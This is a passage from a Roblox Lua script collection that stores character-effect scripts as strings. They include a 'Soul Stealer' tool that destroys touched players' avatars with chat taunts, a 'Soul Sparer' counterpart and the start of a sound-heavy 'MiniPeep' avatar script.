4847 | DeModel.Frame.BackgroundColor3 = BrickColor.new("Really black").Color | |
4848 | cl = "Really red" | |
4849 | else | |
4850 | DeModel.Frame.BackgroundColor3 = BrickColor.new("Institutional white").Color | |
4851 | end | |
4852 | m1 = m:gsub("\n"," ") | |
4853 | m1 = m1:gsub("\t"," ") | |
4854 | m1 = m1:gsub("math.pi",tostring(math.pi)) | |
4855 | if #m1 <= 30 then | |
4856 | DeModel.Size = UDim2.new(0,(30+(#m1*10)),0,20) | |
4857 | elseif #m1 <= 60 then | |
4858 | DeModel.Size = UDim2.new(0,330,0,40) | |
4859 | elseif #m1 <= 90 then | |
4860 | DeModel.Size = UDim2.new(0,330,0,60) | |
4861 | elseif #m1 > 90 then | |
4862 | DeModel.Size = UDim2.new(0,340,0,60) | |
4863 | m1 = m1:sub(1,90).."..." | |
4864 | end | |
4865 | coroutine.wrap(function() | |
4866 | for i = 1,0,-1/#m1 do | |
4867 | DeModel.Frame.Transparency = i | |
4868 | wait(1/60) | |
4869 | end | |
4870 | end)() | |
4871 | if #m1 < 30 then | |
4872 | for i = 1,#m1 do | |
4873 | CreateLetter(m1:sub(i,i),i*5,0,cl) | |
4874 | wait(1/60) | |
4875 | end | |
4876 | elseif #m1 <= 60 then | |
4877 | for i = 1,30 do | |
4878 | CreateLetter(m1:sub(i,i),i*5,0,cl) | |
4879 | wait(1/60) | |
4880 | end | |
4881 | for i = 31,#m1 do | |
4882 | CreateLetter(m1:sub(i,i),(i-30)*5,10,cl) | |
4883 | wait(1/60) | |
4884 | end | |
4885 | elseif #m1 >= 60 then | |
4886 | for i = 1,30 do | |
4887 | CreateLetter(m1:sub(i,i),i*5,0,cl) | |
4888 | wait(1/60) | |
4889 | end | |
4890 | for i = 31,60 do | |
4891 | CreateLetter(m1:sub(i,i),(i-30)*5,10,cl) | |
4892 | wait(1/60) | |
4893 | end | |
4894 | for i = 61,#m1 do | |
4895 | CreateLetter(m1:sub(i,i),(i-60)*5,20,cl) | |
4896 | wait(1/60) | |
4897 | end | |
4898 | end | |
4899 | end) | |
4900 | end) | |
4901 | ]] | |
4902 | SoulStealer = [[ | |
4903 | Instance.new("HopperBin",game.Players.LocalPlayer.Backpack).Name = "Soul Stealer" | |
4904 | script.Parent = game.Players.LocalPlayer.Backpack:findFirstChild"Soul Stealer" | |
4905 | local char = script.Parent.Parent.Parent.Character | |
4906 | local humanoid = char.Humanoid | |
4907 | local Head = char.Head | |
4908 | local Torso = char.Torso | |
4909 | local LeftArm = char["Left Arm"] | |
4910 | local RightArm = char["Right Arm"] | |
4911 | local LeftLeg = char["Left Leg"] | |
4912 | local RightLeg = char["Right Leg"] | |
4913 | local RightHip = Torso["Right Hip"] | |
4914 | local LeftHip = Torso["Left Hip"] | |
4915 | local Neck = Torso.Neck | |
4916 | local RightShoulder = Torso["Right Shoulder"] | |
4917 | local LeftShoulder = Torso["Left Shoulder"] | |
4918 | local NeckC0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) | |
4919 | local NeckC1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) | |
4920 | local LeftShoulderC0 = CFrame.new(-1, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) | |
4921 | local LeftShoulderC1 = CFrame.new(0.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) | |
4922 | local RightShoulderC0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) | |
4923 | local RightShoulderC1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) | |
4924 | local LeftHipC0 = CFrame.new(-1, -1, 0, 0, 0, -1,0,1, 0, 1, 0, 0) | |
4925 | local LeftHipC1 = CFrame.new(-0.5,1,0,0,0,-1,0,1,0,1, 0, 0) | |
4926 | local RightHipC0 = CFrame.new(1,-1,0,0,0,1,0,1,0,-1,0,0) | |
4927 | local RightHipC1 = CFrame.new(0.5,1,0,0,0,1,0,1,0,-1,0,0) | |
4928 | local rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint") | |
4929 | local rootpart = char:findFirstChild("HumanoidRootPart") | |
4930 | spirit = false | |
4931 | Instance.new("HumanoidController", game:service'ControllerService') | |
4932 | Instance.new("SkateboardController", game:service'ControllerService') | |
4933 | Instance.new("VehicleController", game:service'ControllerService') | |
4934 | local Colors = {"White","Really black","Lavender","Bright bluish green"} | |
4935 | Head.Transparency = 0.5 | |
4936 | Head.Reflectance = 0.5 | |
4937 | Torso.Transparency = 0.5 | |
4938 | Torso.Reflectance = 0.5 | |
4939 | RightLeg.Transparency = 0.5 | |
4940 | RightLeg.Reflectance = 0.5 | |
4941 | LeftArm.Transparency = 0.5 | |
4942 | LeftArm.Reflectance = 0.5 | |
4943 | RightArm.Transparency = 0.5 | |
4944 | RightArm.Reflectance = 0.5 | |
4945 | LeftLeg.Transparency = 0.5 | |
4946 | LeftLeg.Reflectance = 0.5 | |
4947 | Head.Touched:connect(function(hit) | |
4948 | if hit.Parent:findFirstChild("Humanoid")then | |
4949 | game:GetService("Chat"):Chat(Head,"Oh hey there.Hug?",0) | |
4950 | for i,v in pairs(hit.Parent:GetChildren())do | |
4951 | if v:IsA"Humanoid" then | |
4952 | game:GetService("Chat"):Chat(Head,"I've taken your soul.",0) | |
4953 | v:Destroy() | |
4954 | elseif v:IsA"Part" then | |
4955 | game:GetService("Chat"):Chat(v.Parent.Head,"AHHHHHH!!!",2) | |
4956 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
4957 | v.RotVelocity = v.Position - v.Velocity | |
4958 | v:Remove() | |
4959 | end end end | |
4960 | end) | |
4961 | Torso.Touched:connect(function(hit) | |
4962 | if hit.Parent:findFirstChild("Humanoid")then | |
4963 | game:GetService("Chat"):Chat(Head,"Hello sir,Want a friendly hug?",0) | |
4964 | for i,v in pairs(hit.Parent:GetChildren())do | |
4965 | if v:IsA"Humanoid" then | |
4966 | game:GetService("Chat"):Chat(Head,"That was too easy.",0) | |
4967 | v:Destroy() | |
4968 | elseif v:IsA"Part" then | |
4969 | game:GetService("Chat"):Chat(v.Parent.Head,"UGH!",2) | |
4970 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
4971 | v.RotVelocity = v.Position - v.Velocity | |
4972 | v:Remove() | |
4973 | end end end | |
4974 | end) | |
4975 | RightArm.Touched:connect(function(hit) | |
4976 | game:GetService("Chat"):Chat(Head,"I've taken your life.",0) | |
4977 | if hit.Parent:findFirstChild("Humanoid")then | |
4978 | for i,v in pairs(hit.Parent:GetChildren())do | |
4979 | if v:IsA"Humanoid" then | |
4980 | game:GetService("Chat"):Chat(Head,"Now i break your bones.",0) | |
4981 | v:Destroy() | |
4982 | elseif v:IsA"Part" then | |
4983 | game:GetService("Chat"):Chat(v.Parent.Head,"AH!MY BONES!",2) | |
4984 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
4985 | v.RotVelocity = v.Position - v.Velocity | |
4986 | v:Remove() | |
4987 | end end end | |
4988 | end) | |
4989 | LeftArm.Touched:connect(function(hit) | |
4990 | game:GetService("Chat"):Chat(Head,"I've crushed you.",0) | |
4991 | if hit.Parent:findFirstChild("Humanoid")then | |
4992 | for i,v in pairs(hit.Parent:GetChildren())do | |
4993 | if v:IsA"Humanoid" then | |
4994 | game:GetService("Chat"):Chat(Head,"Ahhilated.",0) | |
4995 | v:Destroy() | |
4996 | elseif v:IsA"Part" then | |
4997 | game:GetService("Chat"):Chat(v.Parent.Head,"AOUGH!",2) | |
4998 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
4999 | v.RotVelocity = v.Position - v.Velocity | |
5000 | v:Remove() | |
5001 | end end end | |
5002 | end) | |
5003 | LeftLeg.Touched:connect(function(hit) | |
5004 | if hit.Parent:findFirstChild("Humanoid")then | |
5005 | for i,v in pairs(hit.Parent:GetChildren())do | |
5006 | if v:IsA"Humanoid" then | |
5007 | game:GetService("Chat"):Chat(Head,"Cool.",0) | |
5008 | v:Destroy() | |
5009 | elseif v:IsA"Part" then | |
5010 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
5011 | v.RotVelocity = v.Position - v.Velocity | |
5012 | v.Transparency = 0.5 | |
5013 | end end end | |
5014 | end) | |
5015 | RightLeg.Touched:connect(function(hit) | |
5016 | if hit.Parent:findFirstChild("Humanoid")then | |
5017 | for i,v in pairs(hit.Parent:GetChildren())do | |
5018 | if v:IsA"Humanoid" then | |
5019 | v:Destroy() | |
5020 | elseif v:IsA"Part" then | |
5021 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
5022 | v.RotVelocity = v.Position - v.Velocity | |
5023 | v.Transparency = 0.5 | |
5024 | end end end | |
5025 | end) | |
5026 | humanoid.Died:connect(function() | |
5027 | game:GetService("Chat"):Chat(Head,"NO!THIS IS IMPOSSIBLE!NOOOOO!",2) | |
5028 | for cframe_parts = 0, 100 do | |
5029 | local p = Instance.new("Part") | |
5030 | p.FormFactor = "Custom" | |
5031 | p.BrickColor = BrickColor.new(Colors[math.random(1, #Colors)]) | |
5032 | p.Size = Vector3.new(1, 1, 1) | |
5033 | Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05) | |
5034 | p.Locked = true | |
5035 | p.CanCollide = false | |
5036 | p.Anchored = true | |
5037 | p.CFrame = Torso.CFrame * CFrame.Angles(math.random(-50, 50),math.random(-50, 50),math.random(-50, 50)) | |
5038 | p.Parent = workspace | |
5039 | local box = Instance.new("SelectionBox", p) | |
5040 | box.Color = BrickColor.new(Colors[math.random(1, #Colors)]) | |
5041 | box.Adornee = p | |
5042 | box.Transparency = 0.5 | |
5043 | box.Visible = true | |
5044 | local spirit = Instance.new("Fire", p) | |
5045 | spirit.Color = Color3.new(0,0,0) | |
5046 | spirit.Enabled = true | |
5047 | spirit.Heat = 10 | |
5048 | spirit.SecondaryColor = Color3.new(255,255,255) | |
5049 | spirit.Size = 5 | |
5050 | game:service'Debris':AddItem(p, 5) | |
5051 | coroutine.wrap(function() | |
5052 | while wait() do | |
5053 | if p ~= nil then | |
5054 | p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0) | |
5055 | p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0) | |
5056 | p.Transparency = p.Transparency + 0.015 | |
5057 | else | |
5058 | break | |
5059 | end | |
5060 | end | |
5061 | end)() | |
5062 | end | |
5063 | for _,v in pairs(char:children()) do | |
5064 | if v:IsA("Part") then | |
5065 | v:Destroy() | |
5066 | end | |
5067 | end | |
5068 | ||
5069 | end) | |
5070 | local function Button1Down(mouse) | |
5071 | game:GetService("Chat"):Chat(Head,"NOW PERISH!SPIRIT MODE ACTIVATE!",2) | |
5072 | if spirit == false then | |
5073 | spirit = true | |
5074 | RightArm.Transparency = 1 | |
5075 | LeftArm.Transparency = 1 | |
5076 | RightLeg.Transparency = 1 | |
5077 | LeftLeg.Transparency = 1 | |
5078 | Head.Transparency = 1 | |
5079 | Torso.Transparency = 1 | |
5080 | local protect = Instance.new("ForceField", char) | |
5081 | protect.Archivable = true | |
5082 | local spirit = Instance.new("Fire", char.Torso) | |
5083 | spirit.Color = Color3.new(0,0,0) | |
5084 | spirit.Enabled = true | |
5085 | spirit.Heat = 10 | |
5086 | spirit.SecondaryColor = Color3.new(255,255,255) | |
5087 | spirit.Size = 5 | |
5088 | humanoid.MaxHealth = math.huge | |
5089 | wait() | |
5090 | humanoid.WalkSpeed = 100 | |
5091 | wait(20) | |
5092 | spirit = false | |
5093 | game:GetService("Chat"):Chat(Head,"Have you gotten enough?No? Ok.",1) | |
5094 | RightArm.Transparency = 0.5 | |
5095 | LeftArm.Transparency = 0.5 | |
5096 | RightLeg.Transparency = 0.5 | |
5097 | LeftLeg.Transparency = 0.5 | |
5098 | Head.Transparency = 0.5 | |
5099 | Torso.Transparency = 0.5 | |
5100 | char.Torso.Fire:Remove() | |
5101 | humanoid.Health = 100 | |
5102 | humanoid.WalkSpeed = 16 | |
5103 | char.Head.face:Remove() | |
5104 | char.ForceField:Remove() | |
5105 | char.Pants:Remove() | |
5106 | char.Shirt:Remove() | |
5107 | end | |
5108 | end | |
5109 | script.Parent.Selected:connect(function(mouse)mouse.Button1Down:connect(function(mouse)Button1Down(mouse)end)end)]] | |
5110 | SoulSparer = [[ | |
5111 | Instance.new("HopperBin",game.Players.LocalPlayer.Backpack).Name = "Soul Sparer" | |
5112 | script.Parent = game.Players.LocalPlayer.Backpack:findFirstChild"Soul Sparer" | |
5113 | local char = script.Parent.Parent.Parent.Character | |
5114 | local humanoid = char.Humanoid | |
5115 | local Head = char.Head | |
5116 | local Torso = char.Torso | |
5117 | local LeftArm = char["Left Arm"] | |
5118 | local RightArm = char["Right Arm"] | |
5119 | local LeftLeg = char["Left Leg"] | |
5120 | local RightLeg = char["Right Leg"] | |
5121 | local RightHip = Torso["Right Hip"] | |
5122 | local LeftHip = Torso["Left Hip"] | |
5123 | local Neck = Torso.Neck | |
5124 | local RightShoulder = Torso["Right Shoulder"] | |
5125 | local LeftShoulder = Torso["Left Shoulder"] | |
5126 | local NeckC0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) | |
5127 | local NeckC1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) | |
5128 | local LeftShoulderC0 = CFrame.new(-1, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) | |
5129 | local LeftShoulderC1 = CFrame.new(0.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) | |
5130 | local RightShoulderC0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) | |
5131 | local RightShoulderC1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) | |
5132 | local LeftHipC0 = CFrame.new(-1, -1, 0, 0, 0, -1,0,1, 0, 1, 0, 0) | |
5133 | local LeftHipC1 = CFrame.new(-0.5,1,0,0,0,-1,0,1,0,1, 0, 0) | |
5134 | local RightHipC0 = CFrame.new(1,-1,0,0,0,1,0,1,0,-1,0,0) | |
5135 | local RightHipC1 = CFrame.new(0.5,1,0,0,0,1,0,1,0,-1,0,0) | |
5136 | spirit = false | |
5137 | local rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint") | |
5138 | local rootpart = char:findFirstChild("HumanoidRootPart") | |
5139 | spirit = false | |
5140 | Instance.new("HumanoidController", game:service'ControllerService') | |
5141 | Instance.new("SkateboardController", game:service'ControllerService') | |
5142 | Instance.new("VehicleController", game:service'ControllerService') | |
5143 | local Colors = {"White","Really blue","Really red","New Yeller","Lavender","Bright bluish green"} | |
5144 | Head.Touched:connect(function(hit) | |
5145 | if not hit.Parent:findFirstChild("Humanoid")then | |
5146 | game:GetService("Chat"):Chat(Head,"I'll give you a life.",0) | |
5147 | local pie = Instance.new("Humanoid", hit.Parent) | |
5148 | pie.Health = 0 | |
5149 | for i,v in pairs(hit.Parent:GetChildren())do | |
5150 | if v:IsA"Humanoid" then | |
5151 | game:GetService("Chat"):Chat(Head,"I've made you reborn.",0) | |
5152 | elseif v:IsA"Part" then | |
5153 | game:GetService("Chat"):Chat(v.Parent.Head,"Yay!",1) | |
5154 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
5155 | v.RotVelocity = v.Position - v.Velocity | |
5156 | v:MakeJoints() | |
5157 | end end end | |
5158 | end) | |
5159 | Torso.Touched:connect(function(hit) | |
5160 | if not hit.Parent:findFirstChild("Humanoid")then | |
5161 | game:GetService("Chat"):Chat(Head,"I'll give you a heart.",0) | |
5162 | local pie = Instance.new("Humanoid", hit.Parent) | |
5163 | pie.Health = 0 | |
5164 | for i,v in pairs(hit.Parent:GetChildren())do | |
5165 | if v:IsA"Humanoid" then | |
5166 | game:GetService("Chat"):Chat(Head,"I've recreated you.",0) | |
5167 | elseif v:IsA"Part" then | |
5168 | game:GetService("Chat"):Chat(v.Parent.Head,"Thank you!",1) | |
5169 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
5170 | v.RotVelocity = v.Position - v.Velocity | |
5171 | v:MakeJoints() | |
5172 | end end end | |
5173 | end) | |
5174 | LeftLeg.Touched:connect(function(hit) | |
5175 | if not hit.Parent:findFirstChild("Humanoid")then | |
5176 | game:GetService("Chat"):Chat(Head,"Here is a life.",0) | |
5177 | local pie = Instance.new("Humanoid", hit.Parent) | |
5178 | pie.Health = 0 | |
5179 | for i,v in pairs(hit.Parent:GetChildren())do | |
5180 | if v:IsA"Humanoid" then | |
5181 | game:GetService("Chat"):Chat(Head,"I've given you a new life.",0) | |
5182 | elseif v:IsA"Part" then | |
5183 | game:GetService("Chat"):Chat(v.Parent.Head,"Yess!",1) | |
5184 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
5185 | v.RotVelocity = v.Position - v.Velocity | |
5186 | v:MakeJoints() | |
5187 | end end end | |
5188 | end) | |
5189 | RightLeg.Touched:connect(function(hit) | |
5190 | if not hit.Parent:findFirstChild("Humanoid")then | |
5191 | game:GetService("Chat"):Chat(Head,"Here poor one.",0) | |
5192 | local pie = Instance.new("Humanoid", hit.Parent) | |
5193 | pie.Health = 0 | |
5194 | for i,v in pairs(hit.Parent:GetChildren())do | |
5195 | if v:IsA"Humanoid" then | |
5196 | game:GetService("Chat"):Chat(Head,"Here.",0) | |
5197 | elseif v:IsA"Part" then | |
5198 | game:GetService("Chat"):Chat(v.Parent.Head,"Omg thank you!",1) | |
5199 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
5200 | v.RotVelocity = v.Position - v.Velocity | |
5201 | v:MakeJoints() | |
5202 | end end end | |
5203 | end) | |
5204 | LeftArm.Touched:connect(function(hit) | |
5205 | if not hit.Parent:findFirstChild("Humanoid")then | |
5206 | game:GetService("Chat"):Chat(Head,"Here you go.",0) | |
5207 | local pie = Instance.new("Humanoid", hit.Parent) | |
5208 | pie.Health = 0 | |
5209 | for i,v in pairs(hit.Parent:GetChildren())do | |
5210 | if v:IsA"Humanoid" then | |
5211 | game:GetService("Chat"):Chat(Head,"A spare life.",0) | |
5212 | elseif v:IsA"Part" then | |
5213 | game:GetService("Chat"):Chat(v.Parent.Head,"Hippe!",1) | |
5214 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
5215 | v.RotVelocity = v.Position - v.Velocity | |
5216 | v:MakeJoints() | |
5217 | end end end | |
5218 | end) | |
5219 | RightArm.Touched:connect(function(hit) | |
5220 | if not hit.Parent:findFirstChild("Humanoid")then | |
5221 | game:GetService("Chat"):Chat(Head,"I'll create a spare life.",0) | |
5222 | local pie = Instance.new("Humanoid", hit.Parent) | |
5223 | pie.Health = 0 | |
5224 | for i,v in pairs(hit.Parent:GetChildren())do | |
5225 | if v:IsA"Humanoid" then | |
5226 | game:GetService("Chat"):Chat(Head,"Here,a created life.",0) | |
5227 | elseif v:IsA"Part" then | |
5228 | game:GetService("Chat"):Chat(v.Parent.Head,"Thank you!",1) | |
5229 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
5230 | v.RotVelocity = v.Position - v.Velocity | |
5231 | v:MakeJoints() | |
5232 | end end end | |
5233 | end) | |
5234 | humanoid.Died:connect(function() | |
5235 | game:GetService("Chat"):Chat(Head,"I'm sorry,I have failed.",2) | |
5236 | for cframe_parts = 0, 100 do | |
5237 | local p = Instance.new("Part") | |
5238 | p.FormFactor = "Custom" | |
5239 | p.BrickColor = BrickColor.new(Colors[math.random(1, #Colors)]) | |
5240 | p.Size = Vector3.new(1, 1, 1) | |
5241 | Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05) | |
5242 | p.Locked = true | |
5243 | p.CanCollide = false | |
5244 | p.Anchored = true | |
5245 | p.CFrame = Torso.CFrame * CFrame.Angles(math.random(-50, 50),math.random(-50, 50),math.random(-50, 50)) | |
5246 | p.Parent = workspace | |
5247 | local box = Instance.new("SelectionBox", p) | |
5248 | box.Color = BrickColor.new(Colors[math.random(1, #Colors)]) | |
5249 | box.Adornee = p | |
5250 | box.Transparency = 0.5 | |
5251 | box.Visible = true | |
5252 | local spirit = Instance.new("Fire", p) | |
5253 | spirit.Color = Color3.new(255,255,255) | |
5254 | spirit.Enabled = true | |
5255 | spirit.Heat = 10 | |
5256 | spirit.SecondaryColor = Color3.new(0,0,0) | |
5257 | spirit.Size = 5 | |
5258 | game:service'Debris':AddItem(p, 5) | |
5259 | coroutine.wrap(function() | |
5260 | while wait() do | |
5261 | if p ~= nil then | |
5262 | p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0) | |
5263 | p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0) | |
5264 | p.Transparency = p.Transparency + 0.015 | |
5265 | else | |
5266 | break | |
5267 | end | |
5268 | end | |
5269 | end)() | |
5270 | end | |
5271 | for _,v in pairs(char:children()) do | |
5272 | if v:IsA("Part") then | |
5273 | v:Destroy() | |
5274 | end | |
5275 | end | |
5276 | ||
5277 | end) | |
5278 | local function Button1Down(mouse) | |
5279 | game:GetService("Chat"):Chat(Head,"I shall spare all life.",1) | |
5280 | if spirit == false then | |
5281 | spirit = true | |
5282 | RightArm.Transparency = 1 | |
5283 | LeftArm.Transparency = 1 | |
5284 | RightLeg.Transparency = 1 | |
5285 | LeftLeg.Transparency = 1 | |
5286 | Head.Transparency = 1 | |
5287 | Torso.Transparency = 1 | |
5288 | local protect = Instance.new("ForceField", char) | |
5289 | protect.Archivable = true | |
5290 | local spirit = Instance.new("Fire", char.Torso) | |
5291 | spirit.Color = Color3.new(255,255,255) | |
5292 | spirit.Enabled = true | |
5293 | spirit.Heat = 10 | |
5294 | spirit.SecondaryColor = Color3.new(0,0,0) | |
5295 | spirit.Size = 5 | |
5296 | humanoid.MaxHealth = math.huge | |
5297 | wait() | |
5298 | humanoid.WalkSpeed = 100 | |
5299 | wait(20) | |
5300 | spirit = false | |
5301 | game:GetService("Chat"):Chat(Head,"I will continue to spare souls.",1) | |
5302 | RightArm.Transparency = 0 | |
5303 | LeftArm.Transparency = 0 | |
5304 | RightLeg.Transparency = 0 | |
5305 | LeftLeg.Transparency = 0 | |
5306 | Head.Transparency = 0 | |
5307 | Torso.Transparency = 0 | |
5308 | char.Torso.Fire:Remove() | |
5309 | humanoid.Health = 100 | |
5310 | humanoid.WalkSpeed = 16 | |
5311 | char.Head.face:Remove() | |
5312 | char.ForceField:Remove() | |
5313 | char.Pants:Remove() | |
5314 | char.Shirt:Remove() | |
5315 | end | |
5316 | end | |
5317 | script.Parent.Selected:connect(function(mouse)mouse.Button1Down:connect(function(mouse)Button1Down(mouse)end)end)]] | |
5318 | MiniPeep = [[ | |
5319 | local ran,err = ypcall(function() | |
5320 | plr = game:service'Players'.LocalPlayer | |
5321 | char = plr.Character | |
5322 | mouse = plr:GetMouse() | |
5323 | humanoid = char:findFirstChild("Humanoid") | |
5324 | torso = char:findFirstChild("Torso") | |
5325 | head = char.Head | |
5326 | ra = char:findFirstChild("Right Arm") | |
5327 | la = char:findFirstChild("Left Arm") | |
5328 | rl = char:findFirstChild("Right Leg") | |
5329 | ll = char:findFirstChild("Left Leg") | |
5330 | rs = torso:findFirstChild("Right Shoulder") | |
5331 | ls = torso:findFirstChild("Left Shoulder") | |
5332 | rh = torso:findFirstChild("Right Hip") | |
5333 | lh = torso:findFirstChild("Left Hip") | |
5334 | neck = torso:findFirstChild("Neck") | |
5335 | rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint") | |
5336 | anim = char:findFirstChild("Animate") | |
5337 | rootpart = char:findFirstChild("HumanoidRootPart") | |
5338 | camera = workspace.CurrentCamera | |
5339 | if anim then | |
5340 | anim:Destroy() | |
5341 | end | |
5342 | rj.C0 = CFrame.new() | |
5343 | rj.C1 = CFrame.new() | |
5344 | super_annoying = Instance.new("Sound", head) | |
5345 | super_annoying.SoundId = "http://www.roblox.com/asset/?id=149613358" | |
5346 | super_annoying.Volume = 1 | |
5347 | super_annoying.Looped = true | |
5348 | uni = Instance.new("Sound", head) | |
5349 | uni.SoundId = "http://www.roblox.com/asset/?id=141444871" | |
5350 | uni.Volume = 1 | |
5351 | uni.Looped = true | |
5352 | ann = Instance.new("Sound", head) | |
5353 | ann.SoundId = "http://www.roblox.com/asset/?id=130808056" | |
5354 | ann.Volume = 1 | |
5355 | ann.Looped = true | |
5356 | fwutters = Instance.new("Sound", head) | |
5357 | fwutters.SoundId = "http://www.roblox.com/asset/?id=148896355" | |
5358 | fwutters.Volume = 1 | |
5359 | fwutters.Looped = true | |
5360 | Cobalt1164l = Instance.new("Sound", head) | |
5361 | Cobalt1164l.SoundId = "http://www.roblox.com/asset/?id=130803007" | |
5362 | Cobalt1164l.Volume = 1 | |
5363 | Cobalt1164l.Looped = true | |
5364 | land_of_swords = Instance.new("Sound", head) | |
5365 | land_of_swords.SoundId = "http://www.roblox.com/asset/?id=142357253" | |
5366 | land_of_swords.Volume = 1 | |
5367 | land_of_swords.Looped = true | |
5368 | qq = Instance.new("Sound", head) | |
5369 | qq.SoundId = "http://www.roblox.com/asset/?id=142295308" | |
5370 | qq.Volume = 1 | |
5371 | qq.Looped = true | |
5372 | doge = Instance.new("Sound", head) | |
5373 | doge.SoundId = "http://www.roblox.com/asset/?id=138213729" | |
5374 | doge.Volume = 1 | |
5375 | doge.Looped = true | |
5376 | nyan = Instance.new("Sound", head) | |
5377 | nyan.SoundId = "http://www.roblox.com/asset/?id=142332086" | |
5378 | nyan.Volume = 1 | |
5379 | nyan.Looped = true | |
5380 | sctmn = Instance.new("Sound", head) | |
5381 | sctmn.SoundId = "http://www.roblox.com/asset/?id=143620887" | |
5382 | sctmn.Volume = 1 | |
5383 | sctmn.Looped = true | |
5384 | barrel_roll = Instance.new("Sound", head) | |
5385 | barrel_roll.SoundId = "http://www.roblox.com/asset/?id=130791919" | |
5386 | barrel_roll.Volume = 1 | |
5387 | barrel_roll.Looped = true | |
5388 | dubstep_gun = Instance.new("Sound", head) | |
5389 | dubstep_gun.SoundId = "http://www.roblox.com/asset/?id=147096633" | |
5390 | dubstep_gun.Volume = 1 | |
5391 | dubstep_gun.Looped = true | |
5392 | you_are_pirate = Instance.new("Sound", head) | |
5393 | you_are_pirate.SoundId = "http://www.roblox.com/asset/?id=130888577" | |
5394 | you_are_pirate.Volume = 1 | |
5395 | you_are_pirate.Looped = true | |
5396 | cant_touch = Instance.new("Sound", head) | |
5397 | cant_touch.SoundId = "http://www.roblox.com/asset/?id=131280929" | |
5398 | cant_touch.Volume = 1 | |
5399 | cant_touch.Looped = true | |
5400 | gangy_style = Instance.new("Sound", head) | |
5401 | gangy_style.SoundId = "http://www.roblox.com/asset/?id=130844430" | |
5402 | gangy_style.Volume = 1 | |
5403 | gangy_style.Looped = true | |
5404 | fox_say = Instance.new("Sound", head) | |
5405 | fox_say.SoundId = "http://www.roblox.com/asset/?id=143110546" | |
5406 | fox_say.Volume = 1 | |
5407 | fox_say.Looped = true | |
5408 | durk = Instance.new("Sound", head) | |
5409 | durk.SoundId = "http://www.roblox.com/asset/?id=142376365" | |
5410 | durk.Volume = 1 | |
5411 | durk.Looped = true | |
5412 | sax_guy = Instance.new("Sound", head) | |
5413 | sax_guy.SoundId = "http://www.roblox.com/asset/?id=130794684" | |
5414 | sax_guy.Volume = 1 | |
5415 | sax_guy.Looped = true | |
5416 | heman = Instance.new("Sound", head) | |
5417 | heman.SoundId = "http://www.roblox.com/asset/?id=131102548" | |
5418 | heman.Volume = 1 | |
5419 | heman.Looped = true | |
5420 | justin = Instance.new("Sound", head) | |
5421 | justin.SoundId = "http://www.roblox.com/asset/?id=138154702" | |
5422 | justin.Volume = 1 | |
5423 | justin.Looped = true | |
5424 | brony_music = Instance.new("Sound", head) | |
5425 | brony_music.SoundId = "http://www.roblox.com/asset/?id=143768403" | |
5426 | brony_music.Volume = 1 | |
5427 | brony_music.Looped = true | |
5428 | spitfire = Instance.new("Sound", head) | |
5429 | spitfire.SoundId = "http://www.roblox.com/asset/?id=130776739" | |
5430 | spitfire.Volume = 1 | |
5431 | spitfire.Looped = true | |
5432 | burn_dem = Instance.new("Sound", head) | |
5433 | burn_dem.SoundId = "http://www.roblox.com/asset/?id=132399469" | |
5434 | burn_dem.Volume = 1 | |
5435 | burn_dem.Looped = true | |
5436 | cant = Instance.new("Sound", head) | |
5437 | cant.SoundId = "http://www.roblox.com/asset/?id=131122314" | |
5438 | cant.Volume = 1 | |
5439 | cant.Looped = true | |
5440 | if char:findFirstChild("Shirt") then | |
5441 | char:findFirstChild("Shirt"):Destroy() | |
5442 | end | |
5443 | if char:findFirstChild("Pants") then | |
5444 | char:findFirstChild("Pants"):Destroy() | |
5445 | end | |
5446 | if char:findFirstChild("Shirt Graphic") then | |
5447 | char:findFirstChild("Shirt Graphic"):Destroy() | |
5448 | end | |
5449 | Instance.new("HumanoidController", game:service'ControllerService') | |
5450 | Instance.new("SkateboardController", game:service'ControllerService') | |
5451 | Instance.new("VehicleController", game:service'ControllerService') | |
5452 | rh.Parent = nil | |
5453 | lh.Parent = nil | |
5454 | rs.Parent = nil | |
5455 | ls.Parent = nil | |
5456 | neck.Parent = nil | |
5457 | rj.Parent = nil | |
5458 | rl.FormFactor = "Custom" | |
5459 | ll.FormFactor = "Custom" | |
5460 | ra.FormFactor = "Custom" | |
5461 | la.FormFactor = "Custom" | |
5462 | torso.FormFactor = "Custom" | |
5463 | head.FormFactor = "Custom" | |
5464 | rootpart.FormFactor = "Custom" | |
5465 | rootpart.Size = Vector3.new(.4, .4, .2) | |
